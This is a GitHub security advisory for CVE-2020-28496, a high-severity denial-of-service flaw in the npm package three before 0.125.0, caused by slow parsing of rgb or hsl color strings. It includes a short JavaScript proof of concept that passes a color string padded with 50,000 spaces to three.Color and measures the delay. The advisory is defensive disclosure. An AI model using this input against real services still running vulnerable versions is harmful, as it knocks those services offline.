GitHub Advisoryadvisory · npm
GHSA-fq6p-x6j3-cmmq Denial of service in three
HIGH
Official page ↗
- Aliases
- CVE-2020-28496
- Ecosystem
- npm
- Packages
- three
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-400
- Reviewed
- 2021-02-24
Affected packages
• npm three: < 0.125.0 → fixed in 0.125.0
Description
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.
PoC:
```js
var three = require('three')
function build_blank(n) {
var ret = "rgb("
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "";
}
var Color = three.Color
var time = Date.now();
new Color(build_blank(50000)) var time_cost = Date.now() - time;
console.log(time_cost + " ms")
```
Related
Alias · CVE (1)
- CVE-2020-28496 This affects the package three before 0.125.0. vulnerability
Weakness · CWE (1)
- CWE-400 Uncontrolled Resource Consumption weakness
References
- https://nvd.nist.gov/vuln/detail/CVE-2020-28496 advisory
- https://github.com/mrdoob/three.js/issues/21132 web
- https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e web
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972 web
- https://snyk.io/vuln/SNYK-JS-THREE-1064931 web